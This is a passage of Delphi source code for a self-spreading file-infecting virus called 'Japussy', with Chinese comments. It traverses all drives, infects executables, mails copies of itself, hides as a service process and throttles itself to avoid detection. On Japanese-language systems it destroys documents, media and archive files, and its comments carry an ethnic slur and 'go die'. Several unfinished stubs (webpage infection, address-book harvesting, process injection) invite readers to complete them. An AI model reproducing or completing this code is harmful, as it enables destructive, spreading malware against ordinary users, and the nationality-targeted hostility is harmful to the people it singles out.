thenbeginInfectOneFile(Fn); //感染可执行文件endelse if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') thenbegin//感染HTML和ASP文件,将Base64编码后的病毒写入//感染浏览此网页的所有用户//哪位大兄弟愿意完成之?endelse if Ext = '.WAB' then //Outlook地址簿文件begin//获取Outlook邮件地址endelse if Ext = '.ADC' then //Foxmail地址自动完成文件begin//获取Foxmail邮件地址endelse if Ext = 'IND' then //Foxmail地址簿文件begin//获取Foxmail邮件地址endelsebeginif IsJap then //是倭文操作系统beginif (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') thenSmashFile(Fn); //摧毁文件end;end;end;//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑 Sleep(200);until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);SubDir := TStringList.Create;if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then beginrepeatif IsValidDir(SearchRec) = 1 thenSubDir.Add();until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);Count := SubDir.Count - 1;for i := 0 to Count doLoopFiles(Path + SubDir.Strings + '\', Mask);FreeAndNil(SubDir);end;{ 遍历磁盘上所有的文件 }procedure InfectFiles;varDriverList: string;i, Len: Integer;beginif GetACP = 932 then //日文操作系统IsJap := True; //去死吧!DriverList := GetDrives; //得到可写的磁盘列表Len := Length(DriverList);while True do //死循环beginfor i := Len downto 1 do //遍历每个磁盘驱动器LoopFiles(DriverList + ':\', '*.*'); //感染之SendMail; //发带毒邮件Sleep(1000 * 60 * 5); //睡眠5分钟end;end;{ 主程序开始 }beginif IsWin9x then //是Win9xRegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程else //WinNTbegin//远程线程映射到Explorer进程//哪位兄台愿意完成之?end;//如果是原始病毒体自己if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then InfectFiles //感染和发邮件else //已寄生于宿主程序上了,开始工作beginTmpFile := ParamStr(0); //创建临时文件Delete(TmpFile, Length(TmpFile) - 4, 4);TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格ExtractFile(TmpFile); //分离之FillStartupInfo(Si, SW_SHOWDEFAULT);CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,0, nil, '.', Si, Pi); //创建新进程运行之InfectFiles; //感染和发邮件end;end.。

相关文档
最新文档